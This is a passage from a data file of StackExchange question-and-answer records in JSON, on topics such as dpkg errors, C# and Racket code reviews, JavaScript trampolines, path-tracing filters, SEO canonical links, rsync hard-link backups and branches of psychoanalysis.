rid of all the uses of parseInt as an operand to -.You seem to be setting min-height but the method is called MaxHeight.  That confuses me.When you change the CSScontrol.css('min-height', h)you might want to specify units as incontrol.css('min-height', h + px)I'm not sure how you're handling the widths of margins and borders on the controls.  Is that important to you?"  } 
{  "id": "_unix.197601"  , "question": "How to add vertical space after each command in bash?Looking for a wee bit of vertical space, not a full line. 1/4 or 1/3 of the line height should do it.[edit] The space to add is only after the command+output bundle. The lines between command and associated output still use default spacing. Example: do ls, the output is shown using regular line spacing; only after the output do we get the increased spacing to clearly separate command+output pair from the next command+output."  , "title": "Adding vertical space after command in bash"  , "tags": "bash;command line;terminal"  } 
{  "id": "_unix.120964"  , "question": "I'm trying to upgrade some package in a VM, but I dpkg refuses to apply the upgrades due the following:dpkg: error processing /var/cache/apt/archives/ifupdown_0.7.5ubuntu2.2_amd64.deb (--unpack): unable to make backup link of `./sbin/ifquery' before installing new version: No such file or directoryPreparing to replace unzip 6.0-8ubuntu1 (using .../unzip_6.0-8ubuntu2_amd64.deb) ...Unpacking replacement unzip ...dpkg: error processing /var/cache/apt/archives/unzip_6.0-8ubuntu2_amd64.deb (--unpack): unable to make backup link of `./usr/bin/unzip' before installing new version: No such file or directorydpkg-deb: error: subprocess paste was killed by signal (Broken pipe)What it means? The permissions are fine and the file definitively exist:ls -l /sbin/ifquery-rwxr-xr-x 1 1500000 1500000 58496 dic 12  2012 /sbin/ifquery"  , "title": "What means unable to make backup link of /binary before installing new version: No such file or directory?"  , "tags": "dpkg"  , "accepted_answer": "This means that for some motive, you can't move the binary in the file system:sudo mv /sbin/ifquery{,.bk}[sudo] password for braiam:          mv: cannot move /sbin/ifquery to /sbin/ifquery.bk: Input/output errorYou should check the filesystem for problems or ask your system administrator."  } 
{  "id": "_codereview.71413"  , "question": "This is a follow up to Messenger supporting notifications and requestsI've written a lightweight (I think) class that acts as a messenger service between classes for both notifications (fire and forget updates to other classes) and requests (a notification sent out that expects a returned value).Since the last question, I have altered the request system to return an IEnumerable filled with all the results from all of the registered functions. This allows the caller to pick from the results or operate on all of them, although I imagine typical use will be to call .Single() or .First().I have also removed the default static instance to prevent laziness and poor code practices, and I have removed a pointless cast between Action and DelegateI'm looking for a general review here on style, usability, best practices, etc.Here's the code (.NET Fiddle here)public class Messenger{    /// <summary>    /// The actions    /// </summary>    private Dictionary<Type, Delegate> actions = new Dictionary<Type, Delegate>();    /// <summary>    /// The functions    /// </summary>    private Dictionary<Type, Collection<Delegate>> functions = new Dictionary<Type, Collection<Delegate>>();    /// <summary>    /// Register a function for a request message.    /// </summary>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <typeparam name=R> Type of the r. </typeparam>    /// <param name=request> The function that fills the request. </param>    public void Register<T, R>(Func<T, R> request)    {        if (request == null)        {            throw new ArgumentNullException(request);        }        if (functions.ContainsKey(typeof(T)))        {            functions[typeof(T)].Add(request);        }        else        {            functions.Add(typeof(T), new Collection<Delegate>()            {                request            });        }    }    /// <summary>    /// Register an action for a message.    /// </summary>    /// <typeparam name=T> Type of message to receive. </typeparam>    /// <param name=action> The action that happens when the message is received. </param>    public void Register<T>(Action<T> action)    {        if (action == null)        {            throw new ArgumentNullException(action);        }        if (actions.ContainsKey(typeof(T)))        {            actions[typeof(T)] = (Action<T>)Delegate.Combine(actions[typeof(T)], action);        }        else        {            actions.Add(typeof(T), action);        }    }    /// <summary>    /// Send a request.    /// </summary>    /// <typeparam name=T> The type of the parameter of the request. </typeparam>    /// <typeparam name=R> The return type of the request. </typeparam>    /// <param name=parameter> The parameter. </param>    /// <returns> The result of the request. </returns>    public IEnumerable<R> Request<T, R>(T parameter)    {        if (functions.ContainsKey(typeof(T)))        {            var applicableFunctions = functions[typeof(T)].OfType<Func<T, R>>();            foreach (var function in applicableFunctions)            {                yield return function(parameter);            }        }    }    /// <summary>    /// Sends the specified message.    /// </summary>    /// <typeparam name=T> The type of message. </typeparam>    /// <param name=message> The message. </param>    public void Send<T>(T message)    {        if (actions.ContainsKey(typeof(T)))        {            ((Action<T>)actions[typeof(T)])(message);        }    }    /// <summary>    /// Unregister a request.    /// </summary>    /// <typeparam name=T> The type of request to unregister. </typeparam>    /// <typeparam name=R> The return type of the request. </typeparam>    /// <param name=request> The request to unregister. </param>    public void Unregister<T, R>(Func<T, R> request)    {        if (functions.ContainsKey(typeof(T)) && functions[typeof(T)].Contains(request))        {            functions[typeof(T)].Remove(request);        }    }    /// <summary>    /// Unregister an action.    /// </summary>    /// <typeparam name=T> The type of message. </typeparam>    /// <param name=action> The action to unregister. </param>    public void Unregister<T>(Action<T> action)    {        if (actions.ContainsKey(typeof(T)))        {            actions[typeof(T)] = Delegate.Remove(actions[typeof(T)], action);        }    }}Example usage:public class Receiver{    public Receiver(Messenger messenger)    {        messenger.Register<string>(x =>            {                Console.WriteLine(x);            });        messenger.Register<string, string>(x =>            {                if (x == hello)                {                    return world;                }                return who are you?;            });        messenger.Register<string, string>(x =>        {            if (x == world)            {                return hello;            }            return what are you?;        });    }}public class Sender{    public Sender(Messenger messenger)    {        messenger.Send<string>(Hello world!);        Console.WriteLine();        foreach (string result in messenger.Request<string, string>(hello))        {            Console.WriteLine(result);        }        Console.WriteLine();        foreach (string result in messenger.Request<string, string>(world))        {            Console.WriteLine(result);        }    }}"  , "title": "Shoot the Messenger pt. 2"  , "tags": "c#"  , "accepted_answer": "GoodYou are following the naming guidelines  The method and parameternames are well choosen and meaningful  Improvable XML comments should, if used, be complete e.g /// <typeparam name=R> Type of the r. </typeparam> instead of often calling typeof(T) call it once and reuse it.  using early returns removes horizontal spacing  creation of the Collection<Delegate>()         functions.Add(typeof(T), new Collection<Delegate>()        {            request        });  this is less readable than this   functions.Add(type, new Collection<Delegate>() { request });So this  public void Register<T, R>(Func<T, R> request){    if (request == null)    {        throw new ArgumentNullException(request);    }    if (functions.ContainsKey(typeof(T)))    {        functions[typeof(T)].Add(request);    }    else    {        functions.Add(typeof(T), new Collection<Delegate>()        {            request        });    }}  will become   public void Register<T, R>(Func<T, R> request){    if (request == null)    {        throw new ArgumentNullException(request);    }    var type = typeof(T);    if (functions.ContainsKey(type))    {        functions[type].Add(request);        return;    }    functions.Add(type, new Collection<Delegate>() { request });}  or this  public IEnumerable<R> Request<T, R>(T parameter){    if (functions.ContainsKey(typeof(T)))    {        var applicableFunctions = functions[typeof(T)].OfType<Func<T, R>>();        foreach (var function in applicableFunctions)        {            yield return function(parameter);        }    }}  will become  public IEnumerable<R> Request<T, R>(T parameter){    var type = typeof(T);    if (!functions.ContainsKey(type))    {        return Enumerable.Empty<R>();    }    var applicableFunctions = functions[type].OfType<Func<T, R>>();    foreach (var function in applicableFunctions)    {        yield return function(parameter);    }}"  } 
{  "id": "_softwareengineering.333317"  , "question": "I've been doing some functional JavaScript. I had thought that Tail-Call Optimization had been implemented, but as it turns out I was wrong. Thus, I've had to teach myself Trampolining. After a bit of reading here and elsewhere, I was able to get the basics down and constructed my first trampoline:/*not the fanciest, it's just meant toreenforce that I know what I'm doing.*/function loopy(x){    if (x<10000000){         return function(){            return loopy(x+1)        }    }else{        return x;    }};function trampoline(foo){    while(foo && typeof foo === 'function'){        foo = foo();    }    return foo;/*I've seen trampolines without this,mine wouldn't return anything unlessI had it though. Just goes to show Ionly half know what I'm doing.*/};alert(trampoline(loopy(0)));My biggest issue, is I don't know why this works. I get the idea of rerunning the function in a while loop instead of using a recursive loop. Except, technically my base function already has a recursive loop. I'm not running the base loopy function, but I am running the function inside of it. What's stopping foo = foo() from causing a stack overflow? And isn't foo = foo() technically mutating, or am I missing something? Perhaps it's just a necessary evil. Or some syntax I'm missing.Is there even a way to understand it? Or is it just some hack that somehow works? I've been able to make my way through everything else, but this one has me befuzzled."  , "title": "Why do Trampolines work?"  , "tags": "javascript;functional programming"  , "accepted_answer": "The reason your brain is rebelling against the function loopy() is that it is of an inconsistent type:function loopy(x){    if (x<10000000){         return function(){ // On this line it returns a function...            // (This is not part of loopy(), this is the function we are returning.)            return loopy(x+1)        }    }else{        return x; // ...but on this line it returns an integer!    }};Quite a lot of languages don't even let you do things like this, or at least demand a lot more typing to explain just how this is supposed to make any kind of sense.  Because it really doesn't.  Functions and integers are totally different kinds of objects.So let's go through that while loop, carefully:while(foo && typeof foo === 'function'){    foo = foo();}Initially, foo is equal to loopy(0).  What is loopy(0)?  Well, it's less than 10000000, so we get function(){return loopy(1)}.  That's a truthy value, and it's a function, so the loop keeps going.Now we come to foo = foo().  foo() is the same as loopy(1).  Since 1 is still less than 10000000, that returns function(){return loopy(2)}, which we then assign to foo.foo is still a function, so we keep going... until eventually foo is equal to function(){return loopy(10000000)}.  That's a function, so we do foo = foo() one more time, but this time, when we call loopy(10000000), x is not less than 10000000 so we just get x back.  Since 10000000 is also not a function, this ends the while loop as well."  } 
{  "id": "_computergraphics.3868"  , "question": "The 99 lines of C path tracer Smallpt renders a 2x2 subpixel grid for each pixel it intends to render and then does a tent filter to combine them.There is an interesting presentation explaining the code here, and it mentions the tent filter but doesn't explain why it's there.Can anyone explain why a tent filter would be preferable in this case over a box blur (just averaging the samples)?Would it be higher quality to go with something better than a tent filter, such as bicubic hermite interpolation?"  , "title": "Why use a tent filter in path tracing?"  , "tags": "pathtracing;filtering"  , "accepted_answer": "The theoretical ideal antialiasing filter for discretely sampled data is a sinc filter, because it perfectly removes all frequencies higher than the Nyquist frequency, while leaving alone all the lower ones. So, to some extent, we can expect antialiasing filters that more closely resemble the sinc filter to produce better-quality images.The tent filter (triangle filter) certainly resembles the central peak of the sinc filter more closely than does the box filter:A bicubic filter (e.g. Mitchell-Netravali) could capture the shape of the sinc even more precisely, including its first two negative lobes.The reality of filter selection is a bit more subtle than approximate sinc as well as possible, since there are different kinds of artifacts that can be generated by non-ideal antialiasing filters, such as aliasing, overblurring, and ringing. Also, different filters may be more or less computationally expensive. So it's a game of trying to trade off the different artifacts against each other and against performance. Different scenes/images may favor one choice or another, and it's also partly an aesthetic judgement.As for why smallpt uses a tent filter in particular, I would guess for a combination of performance (it's a quick filter to evaluate) and brevityit can be done in a couple lines of code, while a bicubic filter would take a bunch more code.Incidentally, smallpt actually uses a 2x2 subpixel grid and places a tent filter at each subpixel, then averages together the results of the four subpixels. So the overall effect is, curiously, that of the sum of four tents, which ends up looking like a pyramid with a flat top:I'm not sure if this was intentional, or just happened to be the way it worked out. My guess is this results in a somewhat sharper image than if a single tent filter per pixel were used (because of the narrower support), but probably also more visible aliasing."  } 
{  "id": "_webmaster.103313"  , "question": "I am working on a website where some pages link to a pdf. Here is the high-level description of the current set up:Page A - This is a normal web page, lets say, a page that talks about instruction manuals for a particular piece of furniture, how rare they are, etc, and has a link to a PDF of the actual instructions for that piece (or multiple links if there are several versions). The URI of this page might be something like:http://www.example.com/antique-xyz-game-table-manuals...and it would have links to one or more Page BPage B - This is a pdf viewer page... basically has the site's header and footer, and in between is an iframe of the PDF using the google document viewer (the actual pdf is hosted on the main site, it just uses the google viewer to embed it). This page also contains a direct link to the pdf which would either open it in the browser or download it depending on the user and whatever client they use. Example URIs of these pages would be:http://www.example.com/file/view/f?=xyz-assembly.pdfhttp://www.example.com/file/view/f?=xyz-maintenance.pdfhttp://www.example.com/file/view/f?=xyz-parts.pdfPage C - We'll call the direct URI of the PDF Page C. Each Page B would have a link to the direct pdf. Example URIs would be:http://www.example.com/file/xyz-assembly.pdfhttp://www.example.com/file/xyz-maintenance.pdfhttp://www.example.com/file/xyz-parts.pdfA few more assumptions:Page A is original content talking about the manuals, and linking to them. It is NOT a duplicate of the manual. The PDFs themselves have their own entries in the sitemaps.xml and have no issues getting indexed by the search engines.The UI is how it is, and it is how the customer wants it. This is not a question about the UI.The question(s):On the direct link in Page B, to the actual PDF, Should I be using a rel=canonical meta tag, and if so, should it point to the actual PDF or should it point to the page A?On Page A - should there be any rel attribute on the link itself?Any other SEO factors I should consider with this type of set-up?Thanks in advance and let me know if any further clarification is needed."  , "title": "rel=canonical/alternate and PDF documents and SEO"  , "tags": "seo;iframe;pdf"  , "accepted_answer": "So you have three types of pages of which you want two to appear in the search engine results.Therefore you can use rel=canonical link elements in order to tell the search engine which page of two pages it should index and serve as a result and which one it should skip.The rel=canoncal attribute has to be placed in a <link > element in a HTML document's <head> section:<html>   <head>    <link rel=canonical http://www.example.com/file/xyz-assembly.pdf >      </head>   </html>For your setup this means:http://www.example.com/antique-xyz-game-table-manualsThis page should be indexed and ranked. No need to specify duplicates or alternate versions, as long there are none of them. Basically it is a good practice to mark up these page with a rel=canonical to themselves to avoid duplicate content issues with URL variations.http://www.example.com/file/view/f?=xyz-assembly.pdfThis page is a duplicate of http://www.example.com/file/xyz-assembly.pdfAs you only want the PDF file to rank in the SERPs you make use of rel=canonical to the PDF document (despite the reader's menu the documents are identical).To speak more generally:Each overview page has a self referential canonical link element in the <head> section of it's source code.Each viewer page has as canonical link element pointing to the real PDF document in the <head> section of it's source code.The alternate Links are not needed in terms of SEO.For your specific QuestionsOn the direct link in Page B, to the actual PDF, Should I be using a  rel=canonical meta tag, and if so, should it point to the actual  PDF or should it point to the page A? Specify the rel=canonical link in the <head> section of the viewer page pointing to to the actual PDF. If you cannot access the HTML source of the viewer page you may set up a canonical header for viewer pages pointing to the actual PDF file. (For more detailed information on how to implement canonical headers see: How To: Advanced rel=canonical HTTP Headers (Moz.com)On Page A - should there be any rel attribute on the link itself?Not for SEO reasons.Any other SEO factors I should consider with this type of set-up?Maybe, but it depends on further information to judge this :)As you have direct links to the PDF files you may think of using optimized anchor texts. F.e.: Assembly Guide for Table Type XYZ (PDF) instead of xyz-assembly.pdf. Make sure the PDF link is the first to be crawled by the search engine.Make sure you do not mix noindex and canonical! maybe you think of marking the viewer pages as noindex in order to keep them out of the search engine's index. This would hurt the canonical set-up.In order to save crawling resources you may set up your overview page in a way that it only serves links to the actual PDF files ind leverages Java Script or something alike to enable the viewer mode. This would avoid search engines crawling the viewer pages. But you would stay with the canonicalization of viewer page and PDF file, as users may link to the viewer URL from outside of your page."  } 
{  "id": "_unix.92495"  , "question": "Is it possible to start many VMs created by different users on the same Linux host?I want to start four virtual machines with my own user name and start four with another user name at the same time on the same host. "  , "title": "User-specific virtual machines in VirtualBox"  , "tags": "virtualbox"  , "accepted_answer": "If you have powerful enough host or low requirements for the virtual machines, then it certainly is possible - the best way to find out is to try it.That said, depending on your needs, OS-level virtualisation like LXC might serve you better."  } 
{  "id": "_webapps.10663"  , "question": "I saved some bookmarks with proper tags, but these are displayed only when I log in. These are not available in the recent list on the homepage without logging in even though I searched with tag or URL.Where am I going wrong?"  , "title": "Bookmarks not visible in Delicious"  , "tags": "bookmarks;delicious"  } 
{  "id": "_unix.318922"  , "question": "vtt files look like this:WEBVTT100:00:00.096 --> 00:00:05.047you're the four functions if you would of management first of all you have the planning200:00:06.002 --> 00:00:10.079the planning stages basically you were choosing appropriate  organizational goals and courses300:00:11.018 --> 00:00:13.003action to best achieve those goalsI need just the text, like this:you're the four functions if you would of management first of all you have the planning the planning stages basically you were choosing appropriate organizational goals and courses action to best achieve those goalson ubuntu I tried:cat file.vtt | grep -v [0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9][0-9][[:space:]][[:punct:]][[:punct:]][[:punct:]][[:space:]][0-9][0-9]:[0-9][0-9]:[0-9][0-9].[0-9][0-9][0-9]that gives me:WEBVTT1you're the four functions if you would of management first of all you have the planning2the planning stages basically you were choosing appropriate  organizational goals and courses3action to best achieve those goalsbut I can't figure out how to do the rest.  what I want to replace is\\n[0-9]+\\n\\n with space but I can't figure out how to make sed or grep do that.how do I get with basic / portable (eg generally preinstalled in ubuntu, centos, etc, eg grep, sed, or tr command) to just the raw text with the subtitle timing removed, and all in one line (no newlines)?NOTE: this has to work for other language characters like chinese hindi arabic, so preferably no [a-z] type matches but instead remove the timing lines which are very consistent in format.  Also don't blindly remove any numbers as text can contain numbersNOTE 2: ultimate goal is to have the text safe for a json value , so all special chars removed and double quotes escaped, but that's sort of beyond the scope of this question"  , "title": "grab text out of vtt file"  , "tags": "text processing;sed;grep;regular expression;json"  , "accepted_answer": "Since your file appears to consist of a sequence of records separated by one or more blank lines, I'd suggest trying something based on the paragraph modes of either awk or perl.For example, if you always need to strip off the first two lines, like100:00:00.096 --> 00:00:05.047you could split into newline-delimited fields within blank-separated paragraphs and skip the first two fields using eitherawk -vRS= -vORS= -F'\\n' '{for(j=3;j<=NF;j++) print $j; print  }' file.vttorperl -F'\\n' -00ne 'print join(, @F[2..$#F]),  ' file.vttIf you can't rely on there being a fixed number of fields (lines) to be removed, then it's fairly easy to add a regular expression test - a little easier in perl since it allows us to grep directly on arrays rather than writing an explicit loop. For example, to split into blank-separated records and then print only those fields (lines) having at least one sequence of at least 3 alphabetic characters, you could useperl -F'\\n' -00ane '  print join(, grep { /[[:alpha:]]{3}/ } @F),  ' file.vttIf you want to exclude the WEBVTT string you can simply skip the first record, i.e.perl -F'\\n' -00ane '  print join(, grep { /[[:alpha:]]{3}/ } @F),   if $. > 1  ' file.vttIt will be down to you to choose a suitable regex that capture the wanted lines and excludes the unwanted ones. You can add an END block in either awk or perl if you want to add a final newline to the concatenated output.NOTE: since (based on the discussion in comments) your files appear to have DOS-style CRLF line endings, you will need to deal with those - either by modifying the field and record separators in the above commands accordingly, or by stripping out the CRs first e.g.sed 's/\\r$//' file.vtt |   perl -F'\\n' -00ane '    print join(, grep { /[[:alpha:]]{3}/ } @F),   if $. > 1  'you're the four functions if you would of management first of all you have the planning the planning stages basically you were choosing appropriate  organizational goals and courses action to best achieve those goals steeldriver@xenial-vm:~/test/$"  } 
{  "id": "_softwareengineering.310704"  , "question": "I am working on a personal project using Python. I have been using version control to the best of my abilities and if you would like to check it out and run the app https://github.com/CodeAmend/old-bull-tools/tree/developIf you prefer Floobits, look at my actual code in a editor here:https://floobits.com/CodeAmend/old-bull-tools/file/app.py:1I have been learning version control with this project and I have been trying to use TDD with the best of my abilities. Currently opening of the Test_Schedule class, it has been hard to write test methods.A short slice of what I am trying to do:I am building an api that handles a scheduling system. This will communicate with the web as well as mobile devices. Users sign in and can check their schedule, change dates to view other scheduled times and also pick the amount of information displayed (i.e. only show servers or kitchen staff, daily view, month view, calendar view).So here is the question:How would one build a schedule object? How should I visualize this? What types of questions should I ask myself to help me move forward? It seems that I need to user information from both user and shift to populate the schedule.Right now I am stuck. And this is because I have two objects: User and Shift. Now I am thinking I should make a schedule object.a User contains _id(user_id), name, email.... a Shift contains a _id, user_id, start_time, stop_timeIn order to display this stuff on the front end, I need to populate a schedule. Kinda like this:#         mon  tues weds thurs fri  sat  # user1   4:00 ____ 6:00 4:00  5:00 6:00 # user2   4:00 5:00 6:00 ____  5:00 6:00This is only an example but from the look of this, I might need Schedule to return something like this (Shift, None, Shift, Shift, None, Shift)This is some test cases in my shift objectdef test_create_shift(self):def test_shift_throws_error_if_time_is_not_int(self):def test_save_shift_to_database(self):def test_get_shifts_by_id(self):def test_get_shifts_within_date_range_by_id(self):   def test_get_shifts_on_specific_date_by_id(self):def test_get_shifts_before_end_time_by_id(self):def test_get_shifts_after_start_time_by_id(self):def test_get_shifts_exactly_on_start_date_by_id(self):def test_get_shifts_exactly_on_end_date_by_id(self):def test_get_current_weeks_shifts_by_id(self):Here is my thought process so far:schedule = Schedule(user_id) <---- no range addedtest_no_range_added_returns_this_weeks_shifts_for_user()assertEquals(len(schedule.shifts), 7)test_user_with_no_shifts_returns_none_for_each_day_in_range()    for i in range(schedule.shifts):        assertEqual(schedule.shifts[i], None)This is the most current for of thinking. A schedule is just one row, so basically one user. Schedule has Shifts and a User. Multiple Schedules are loaded to populate all employees. Perhaps Schedule is not the best name, but I am not sure yet."  , "title": "How to think about a schedule that pulls from a database as objects"  , "tags": "object oriented;python;unit testing;tdd;flask"  } 
{  "id": "_codereview.61823"  , "question": "The purpose of this code is to centralize all error / status messages to present to the user. For example, registering an account and the user email address is already registered. A status code is set then sent off to get a friendly error message to present to the user. All services will have its own set of status code and status messages which is handled by a status handler for filtering. While this is only a basic class I want to make sure that I am going in the right direction before extending.Status codes namespace Services.RegistrationService    {        public enum StatusCodes        {            UserAlreadyExists,            // more to come        }    } List of statuses for registrationusing Framework;using System.Collections.Generic;namespace Services.RegistrationService{    public class RegistrationStatusMessages : MessageStatusHandler    {        public void AddErrors(List<StatusCodes> codes)        {            foreach(var errorCodes in codes)            switch (errorCodes)            {                case StatusCodes.UserAlreadyExists: { base.add(User already exists, EmailAddress, true); break; }            }        }    }}Message status handlerusing System.Collections.Generic;using System.Linq;namespace Framework{    public class MessageStatusHandler    {        protected List<MessageStatusHandler> _errorList;        private string _friendlyErrorMessage;        private bool _isError;        private string _propertyName;        public MessageStatusHandler()        {            _errorList = new List<MessageStatusHandler>();        }        protected void add(string friendlyErrorMessage, string propertyName, bool isError)        {            _errorList.Add(new MessageStatusHandler { _friendlyErrorMessage = friendlyErrorMessage, _propertyName = propertyName, _isError = isError });        }        public bool HasErrors()        {            return _errorList.Any(x => x._isError == true);        }    }}Again, it is a simple class setup that centralizes status codes, error messages for each service. Is there any way to improve on this, or am I going in the right direction?"  , "title": "Generic error message factory"  , "tags": "c#;error handling"  , "accepted_answer": "First a few minor things:Standard naming convention for methods in C# is PascalCase.You should use braces { } for pretty much all blocks. This is asking for maintenance trouble:foreach(var errorCodes in codes)switch (errorCodes){    case StatusCodes.UserAlreadyExists: { base.add(User already exists, EmailAddress, true); break; }}The Enum naming convention suggests to use singular form for enums.Now design:I find it a bit odd that your class represents a descriptor for a status code and acts as a container for all status codes at the same time. This looks to me like an SRP (Single Responsibility Principle) violation. I would split it up and maybe put some generics in the mix (unfortunately enum can't be used as generic type constraint).So something along these lines:public class StatusCodeDescriptor<T>{    public readonly T StatusCode;    public readonly string FriendlyErrorMessage;    public readonly bool IsError;    public readonly string PropertyName;    public StatusCodeDescriptor(T statusCode, string friendlyError, string propertyName, bool isError)    {        StatusCode = statusCode;        FriendlyErrorMessage = friendlyError;        IsError = isError;        PropertyName = propertyName;    }}public abstract class StatusCodeHandlerBase<T>{    protected List<StatusCodeDescriptor<T>> _StatusCodes = new List<StatusCodeDescriptor<T>>();    public void AddStatusCodes(IEnumerable<T> statusCodes)    {        foreach (var code in statusCodes)        {            _StatusCodes.Add(GetDescriptor(code));        }    }    protected abstract StatusCodeDescriptor<T> GetDescriptor(T statusCode);    public bool HasError()    {        return _StatusCodes.Any(c => c.IsError);    }}public enum RegistrationStatusCode{    UserAlreadyExists,    // ...}public class RegistrationStatusCodeHandler : StatusCodeHandlerBase<RegistrationStatusCode>{    protected override StatusCodeDescriptor<RegistrationStatusCode> GetDescriptor(RegistrationStatusCode statusCode)    {        switch (statusCode)        {            case RegistrationStatusCode.UserAlreadyExists:                 return new StatusCodeDescriptor<RegistrationStatusCode>(statusCode, User already exists, EmailAddress, true);        }    }}"  } 
{  "id": "_codereview.117277"  , "question": "I'm learning Racket and have implemented a mutable stack, which is just a bunch of wrappers around an underlying struct containing a size and buffer list (so it's not optimal, in terms of computational complexity). After consulting #racket and reading the first half of Greg Hendershott's Fear of Macros, I was able to write the syntax transformations I wanted for my implementation.(module stack racket  (module stack-implementation racket    (struct stack (size buffer) #:mutable)    ;; size :: stack -> integer    (define (size stack) (stack-size stack))    ;; non-empty-stack? :: stack -> boolean    (define (non-empty-stack? stack)      (and        (stack? stack)        (positive? (stack-size stack))))    ;; push! :: stack -> any (new item) -> integer (size)    (define (push! stack item)      (set-stack-buffer! stack        (append (list item) (stack-buffer stack)))      (set-stack-size! stack (+ (stack-size stack) 1))      (stack-size stack))    ;; pop! :: (non-empty) stack -> any (head)    (define (pop! stack)      (let ([head (car (stack-buffer stack))]            [tail (cdr (stack-buffer stack))])        (set-stack-buffer! stack tail)        (set-stack-size! stack (- (stack-size stack) 1))        head))    ;; make    (define-syntax-rule (make name)      (define name (stack 0 '())))    (provide make             stack?             (contract-out               [size  (-> stack?            integer?)]               [push! (-> stack? any/c      integer?)]               [pop!  (-> non-empty-stack?  any)])))  (require 'stack-implementation           (for-syntax racket/syntax))  ;; make-stack  ;  Defines a stack under the specified symbol <name>  ;  Plus defines <name>-size, <name>-empty?, <name>-push! and <name>-pop!  (define-syntax (make-stack stx)    (syntax-case stx ()      [(_ name)        (with-syntax ([(size-fn empty-fn push-fn pop-fn)                       (map (lambda (fn) (format-id stx ~a-~a #'name fn))                            '(size empty? push! pop!))])          #'(begin              (make name)              (define (size-fn)      (size name))              (define (empty-fn)     (zero? (size-fn)))              (define (push-fn item) (push! name item))              (define (pop-fn)       (pop!  name))))]))  (provide make-stack           stack?))I'm completely new to Racket and Lisp, so I'm guessing there are many improvements I can make here (e.g., the duplication in the macro where I define the helper function IDs), besides using a better underlying data structure."  , "title": "Mutable stack in Racket"  , "tags": "stack;lisp;macros;racket"  , "accepted_answer": "Many Lisp programs use cons cells quite liberally instead of adding aseparate stack structure, in that sense your concerns about complexityare probably a bit less critical.  Since the stack is also carrying thelength of the list it actually supports at least the additional sizeoperator quite well.  Of course writing more code for an underlying(resizable) vector could make sense, but again I wouldn't count onthat being necessary.For the code I only have minor suggestions, as it's pretty well writtenand clear what each part means; while I'm not that familiar with Racketit's easily readable to me.For the pattern (+/- x 1) there are also the functions add1 andsub1 which could be used.The non-empty-stack? could just check whether the buffer isnull? or empty? instead.  positive? sounds like there's somerisk that the stack size might get negative for some reason.  For thesame reason the contract can probably also be tightened to check fornon-negative integers.(append (list x) y) is a bit shorter as (cons x y)."  } 
{  "id": "_softwareengineering.173650"  , "question": "I've tried to find a solution for this for hours now, and I'm getting the same results in the end, asking me to install a lot of Azure and other stuff, plus running some example project .sln that I can't open with my 2012 version of Visual Studio.So, I'm pretty much stuck, and have some pretty straight forward questions regarding this:Does TFS 2012 include the Odata service in any way, so that I don't have to install it?If not, how can I install a NATIVE 2012 version of the Odata service for TFS 2012?Is it possible that I'm aiming for the wrong target here? I'm looking for a solution to the following:I have a TFS 2012 Server that I need to be able to create Work Items on programatically, based on data from our Help Desk system. Then I need to query these Work Items for changed status since its creation, and update the Help Desk Database.Am I better off using the regular TFS API? I was kinda thinking that the Odata way was more future proof, but I'm not sure..."  , "title": "How to access / query Team Foundation Server 2012 with Odata?"  , "tags": "team foundation server;visual studio 2012"  } 
{  "id": "_unix.226000"  , "question": "I need to a add a column in CSV file from an array using awk.For example,input.csva,10b,11array = (100 200)output.csv should look likea,10,100b,11,200I tried this command but it does not workawk -F, 'BEGIN { OFS = , } {for (x in array) $3=array[x]; print}' input.csv> output.csv"  , "title": "adding column in CSV file using awk"  , "tags": "command line;text processing;awk"  } 
{  "id": "_unix.318248"  , "question": "I've got two backup directories that live on the same filesystem on my backup server.  The first is called clone - it contains a clone of my laptop that is remotely updated nightly via rsync.  The second is called backup, which is a weekly rsync snapshot of only the important parts of clone.  To save space, backup is created as hard links to clone instead of copies, using --link-dest:rsync -avum --link-dest=/clone /clone/ /backupNow I want to also use the --backup option to copy the old versions of changed files from backup to a holding area, in case I need them or accidentally delete something important.  This works fine without --link-dest:rsync -avumb --backup-dir=/holding/2016_10_22 /clone/ /backupHowever, this creates copies of the changed files in backup, wasting space - I want hard links.  But if I add the --link-dest parm back in:rsync -avumb --backup-dir=/holding/2016_10_22 --link-dest=/clone /clone/ /backup...then only deleted files are backed up.  Changed files are silently hard linked.  The reason (I believe) is that --link-dest shares the logic of --copy-dest.  I.e., if the source file is unchanged relative to the copy-dest (or link-dest) file, then it is not transferred, but instead copied/linked from the copy/link-dest dir to the target dir.  Because I'm using the source dir as the link-dest dir, all non-deleted files are unchanged, and handled silently.I could do this in two steps:  first --backup without --link-dest, then again --link-dest without --backup.  (Newer versions of rsync will replace identical files with hard links.)  But I'd really prefer to do it all at once.Is there a way of doing --backup while only creating hard links?  (Really what I want is regular rsync with hard linking instead of file transfer.  My use of --link-dest seems like a bit of a hack, given the intended logic of that option.)Bonus question:  the man page seems to indicate that using --link-dest only on empty targets is preferred:This option works best when copying into an empty destination hierarchy, as existing files may get their attributes tweaked, and that can affect alternate destination files via hard-links.  Also, itemizing of changes can get a bit muddled.The bit about itemizing getting muddled is a bit vague.  Is using --link-dest on a non-empty target really dangerous, assuming I don't care too much about file attributes?  Can anyone give an example?"  , "title": "how to get rsync to make hard links to the source dir, while also backing up changed files?"  , "tags": "rsync"  } 
{  "id": "_cogsci.10478"  , "question": "I am trying to make a list of the main accepted branches of psychoanalysis to quiz a friend of mine. I don't know much about it and to learn more I need to know the main areas. So far I have Freudian PsychologyObject Relations TheoryRelations Theory Self-psychology Does anyone know of a basic list of the main branches? My friend said these were the main ones, but I couldn't find a source to substantiate that and I want to verify these are indeed considered the main branches. EDIT: By a branch or school, I mean a general umbrella term people use to aggregate related trains of thought. In physics, this might be general relativity or quantum mechanics. "  , "title": "What are the different branches of Psychoanalysis?"  , "tags": "psychoanalysis"  , "accepted_answer": "In the context of the question I think it makes sense to limit the scope to earlier developments in psychoanalysis. Thompson (1957) gives an overview of what can be called psychoanalytic schools. She includes:Freudian psychoanalysisIndividual psychology (Alfred Adler)Analytical psychology (Carl Gustav Jung)Object relations theory (Sndor Ferenczi, Otto Rank)(Wilhelm Reich)Karen Horney (sometimes denoted Culturalist Psychoanaysis)Erich Fromm (sometimes denoted Culturalist Psychoanaysis)Harry Stack Sullivan (sometimes denoted Culturalist Psychoanaysis)On the other hand, several psychoanalytic psychologies can be distinguished. Following a systematization by Gottfried Fischer, there are:Drive theory/drive psychology (psychodynamic theory)Ego psychology (Freudian psychoanalytic psychology/structural theory)Object relations theorySelf psychologyNewer psychoanalytic schools comprise e. g. Lacanian psychoanalysis, interpersonal psychoanalysis and relational psychoanalysis  but for a more comprehensive list see Kernberg (2001) and Gabbard (2009).Literature:Frosh, Stephen (2012).A Brief 